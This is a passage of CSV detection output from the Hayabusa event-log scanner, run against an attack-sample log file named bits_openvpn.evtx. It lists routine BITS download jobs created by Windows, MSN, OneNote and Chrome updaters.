https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.748 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.752 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.756 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.788 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.794 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.798 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.802 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.899 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.906 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.910 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.913 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 19:56:13.148 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{9FF0B339-0202-4A5B-B73E-CFFB4FCBD124}-86.0.4240.193_86.0.4240.183_chrome_updater.exe : URL: http://r2---sn-5hne6nsy.gvt1.com/edgedl/release2/chrome/QX5U7YrFu2EjtutZ_UHwBg_86.0.4240.193/86.0.4240.193_86.0.4240.183_chrome_updater.exe?cms_redirect=yes&mh=qK&mip=213.127.67.111&mm=28&mn=sn-5hne6nsy&ms=nvh&mt=1605092117&mv=m&mvi=2&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 21:44:50.465 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 23:12:22.524 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aULGJ.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 23:12:25.568 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-13 19:12:09.946 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aYFdj.img?w=100&h=100&m=6&tilesize=medium&x=703&y=371&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-13 19:31:57.260 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-14 04:57:22.022 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-15 20:47:59.752 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-15 20:48:00.273 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-16 21:31:35.114 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-16 22:57:53.156 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-16 22:57:54.168 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-18 02:41:01.832 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-18 02:41:02.662 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-18 06:09:43.966 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1b6mGJ.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-18 19:01:10.759 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1b7AcJ.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 06:49:45.347 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 06:49:46.212 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 06:49:57.232 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{760E100C-4E23-45B0-A2E1-BB2607BF6ED4}-87.0.4280.66_86.0.4240.198_chrome_updater.exe : URL: http://r4---sn-5hne6nsr.gvt1.com/edgedl/release2/chrome/GIUtDEIRbSWI1y147Zo4bw_87.0.4280.66/87.0.4280.66_86.0.4240.198_chrome_updater.exe?cms_redirect=yes&mh=ls&mip=213.127.67.111&mm=28&mn=sn-5hne6nsr&ms=nvh&mt=1605736037&mv=m&mvi=4&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 18:04:09.949 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1b9Paa.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 18:33:33.409 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1b9S4l.img?w=100&h=100&m=6&tilesize=medium&x=1140&y=780&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 19:45:57.562 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aQJnx.img?w=100&h=100&m=6&tilesize=medium&x=1069&y=1223&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-20 02:49:15.102 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-20 02:49:15.960 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:12:30.660 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:12:31.102 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:16:44.077 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://storage.googleapis.com/update-delta/mimojjlkmoijpicakmndhoigimigcmbb/32.0.0.453/32.0.0.433/6a7cbd12b20a2b816950c10566b3db00371455731ff01526469af574701da085.crxd,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:18:47.864 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://storage.googleapis.com/update-delta/gcmjkmgdlgnkkcocmoeiminaijmmjnii/9.18.0/9.16.0/ce6075b044b6a23d590819332659310fbc6327480d4ce28d85700575fd1d389b.crxd,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:01.301 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://storage.googleapis.com/update-delta/khaoiebndkojlmppeemjhbpbandiljpe/43/42/e0b8b1fb7c27acac43c236b9f6b029b07f2a3b661b5d8eed22848180aaf4f04e.crxd,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:08.126 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/KbGq9i1aCJZgbOKmNv6oJQ_6252/VL8i_VzJSassyW3AF-YJHg,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:17.194 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/ONVXH2AuMZGs-h196MV_Rg_2505/bYFE7q-GLInSBxc008hucw,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:21.164 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/APhHMzuprJvS7ixvnAk_gdI_1/anGnv31dmOJhheXBnYQ3gw,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:25.377 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/EWvH2e-LS80S29cxzuTfRA,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:34.726 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/Z0dgM6Cm_Rt2z0LEtvtuMA_2020.11.16.1201/AIpG92DElyR2vE9pGKmvVoc,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:50:16.788 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1begCn.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:50:17.148 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161351840456_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-22 00:54:58.415 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-22 00:54:59.449 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-22 01:00:56.714 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bdETn.img?w=100&h=100&m=6&tilesize=medium&x=1080&y=363&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-22 01:00:57.346 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161351840456_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 19:46:03.984 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bgw4d.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 19:46:04.676 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161351840456_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 19:52:42.355 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 19:52:43.097 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 20:05:14.300 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bh3sJ.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 21:44:11.565 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 21:46:56.224 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 21:46:56.973 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 23:09:10.403 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bhxvH.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-24 00:34:38.147 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bhAo3.img?w=100&h=100&m=6&tilesize=medium&x=1228&y=258&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-24 00:41:52.668 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bhEQI.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-24 21:47:56.181 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-24 21:47:57.912 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 06:06:52.429 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aV2sK.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 08:55:56.229 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bkiYw.img?w=100&h=100&m=6&tilesize=medium&x=1094&y=441&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 18:56:29.274 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://storage.googleapis.com/update-delta/gkmgaooipdjhmangpemjhigmamcehddo/86.249.200/84.243.200/17f6e5d11e18da93834a470f7266ede269d3660ac7a4c31c0d0acdb0c4c34ba2.crxd,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 18:57:51.221 